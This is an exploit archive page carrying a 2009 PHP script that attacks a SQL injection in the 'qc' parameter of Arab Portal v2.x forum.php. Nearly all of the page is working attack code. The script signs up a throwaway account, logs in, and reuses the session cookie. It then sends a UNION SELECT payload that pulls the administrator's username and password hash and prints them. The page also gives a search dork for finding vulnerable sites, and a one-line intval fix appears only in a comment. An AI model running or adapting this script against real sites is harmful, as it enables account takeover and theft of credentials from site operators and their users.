首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Arab Portal v2.x (forum.php qc) Remote SQL Injection Exploit
来源:recru1t@ymail.com 作者:rEcruit 发布时间:2009-08-03  
<?
 
/*
 
            [  Arab Portal v2.x (forum.php qc) SQL Injection Exploit  ]
           
        [-] Author        : rEcruit
        [-] Mail            : recru1t@ymail.com
        [-] Download   : http://arab-portal.net/download.php
       
        [-] Vuln in  ./forum.php  Line: 1503
       
            [code]
 
                if((isset($apt->get[qc])) &&(!isset($apt->get[qp])))
                {
                   $qc = $apt->get[qc]; 
                   $result = $apt->query("select name,comment from rafia_comment where id='$qc'");
                   $row = $apt->dbarray($result);
                   $apt->row['quote'] = "\n\n\n[QUOTE]..... :".$row['name']."\n".$row['comment']."[/QUOTE]";
                }
 
            [/code]
 
 
        [-] Debug :
       
            [code]
                $qc = intval($apt->get[qc]); 
            [/code]
 
        [-] Note : Path to Control Panel   "/admin/" .
       
        [-] Condition : magic_quotes_gpc = Off
 
*/
 
    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);
 
    function Usage()
    {
            print "\n\n";
            print "/------------------------------------------------------------\\\n";
            print "|    Arab Portal v2.x (forum.php qc) SQL Injection Exploit   |\n";
            print "\------------------------------------------------------------/\n";
            print "| [-] Author : rEcruit                                       |\n";
            print "| [-] Mail   : recru1t@ymail.com                             |\n";
            print "| [-] Greetz : Evil-Cod3r , BlaCK MooN , Fantastic Egypt     |\n";
            print "|              ALL Sec-Sni.coM Members                       |\n";
            print "\------------------------------------------------------------/\n";
            print "| [-] Dork     : \"Powered by: Arab Portal v2\"                |\n";
            print "| [+] Usage    : php Exploit.php HOST PATH Options           |\n";
            print "| [-] HOST     : Target server (ip/hostname)                 |\n";
            print "| [-] PATH     : Path to Arab Portal                         |\n";
            print "| [-] Options  :                                             |\n";
            print "|     =>Proxy  :(ex. 0.0.0.0:8080)                           |\n";
            print "\------------------------------------------------------------/\n";
            print "\n\n";
 
        exit;
    }
 
    function Send($Packet,$Payload=false)
    {
        Global $host,$proxy;
       
        if(empty($proxy))
        {
            $Connect    = @fsockopen($host,"80") or die("[-] Bad Host .");
        }else{
            $proxy        = explode(":",$proxy);
            $Connect    = @fsockopen($proxy[0],$proxy[1]) or die("[-] Bad Proxy .");
        }
 
                $Packet    .= "Host : {$host} \r\n";
                $Packet    .= "X-Forwarded-For: 127.0.0.1\r\n";
                $Packet    .= "Content-Type: application/x-www-form-urlencoded\r\n";
                $Packet    .= "Content-Length: ".(strlen($Payload))."\r\n";
                $Packet    .= "Connection: close\r\n\r\n";
                $Packet    .= $Payload;
           
                fputs($Connect,$Packet);
 
                while(!feof($Connect)) 
                $Response    .= @fgets($Connect,2048);
 
                fclose($Connect);
       
        return $Response;
    }
   
    function SignUp()
    {
   
        GLOBAL $username,$password,$email,$host,$path;
       
            $Payload = "username={$username}&password={$password}&password2={$password}&email={$email}&email2={$email}&homepage=http://&viewemail=0&showemail=1&html_msg=0&usertheme=portal&spam=regnotspam&remain=279&post={$email}&left=279&I1.x=72&I1.y=6";
            $Packet    .= "POST {$path}/members.php?action=insert HTTP/1.1 \r\n";
            $Packet    .= "Referer: http://{$host}/{$path}/members.php?action=signup \r\n";
   
        return Send($Packet,$Payload);
    }
   
    function Login_Packet()
    {
   
        GLOBAL $username,$password,$host,$path;
           
            $Payload = "username={$username}&userpass={$password}";
            $Packet    .= "POST {$path}/members.php?action=login HTTP/1.1 \r\n";
            $Packet    .= "Referer: http://{$host}/{$path}/forum.php\r\n";
 
        return Send($Packet,$Payload);
    }
 
    function SI_Packet()
    {
   
        GLOBAL $host,$path,$cookie;
           
 
            $Packet    .= "GET {$path}/forum.php?action=addcomment&id=1&qc=-999'+UNION+ALL+SELECT+1,concat(0x313a3a,username,0x3a3a,password,0x3a3a)+FROM+rafia_users+where+userid='1 HTTP/1.1 \r\n";
            $Packet    .= "Host : {$host} \r\n";
            $Packet    .= "{$cookie} \r\n";
            $Packet    .= "Referer: http://{$host}/{$path}/forum.php\r\n";
           
        return Send($Packet);
    }
   
    function getCookie($Packet)
    {
            $lines    = explode("\r\n",$Packet);
            for($i = 0; $i < sizeof($lines); $i++)
            {
                $line    = $lines[$i];
                if(ereg("PHPSESSID=",$line))
                {
                    $cookie    = str_replace("Set-Cookie","Cookie",$line);
                    break;
                }
            }
        return $cookie;
    }
 
   
    if ($argc < 3) Usage();
 
    $host    = $argv[1];
    $path    = $argv[2];
    $proxy    = $argv[3];
   
       
        $username    = "user".rand(0,10000);
        $password    = "pwd".rand(0,10000);
        $email        = "email".rand(0,10000)."@yahoo.com";
       
       
        Print "\r\n[-] Connecting to {$host} .... \r\n\r\n";
 
        SignUp();
 
        $cookie    = getCookie(Login_Packet());
 
        $data = split("::",SI_Packet());
       
        Print "[-] Username : $data[1]\r\n";
        Print "[-] Password : $data[2]\r\n";
           
 
?>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAP Business One 2005-A Licens
·Destiny Media Player 1.61 (.pl
·VLC Media Player 0.8.6f smb://
·VirtualBox 2.2 - 3.0.2 r49928
·Google SketchUp Pro 7.0 (.skp
·Joomla Component com_jfusion (
·Microsoft Windows XP (win32k.s
·Microsoft Windows XP (win32k.s
·bind can be crashed with an up
·BlazeDVD 5.1 Professional (.PL
·Amaya 11.2 W3C Editor/Browser
·PunBB Reputation.php Mod <= 2.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved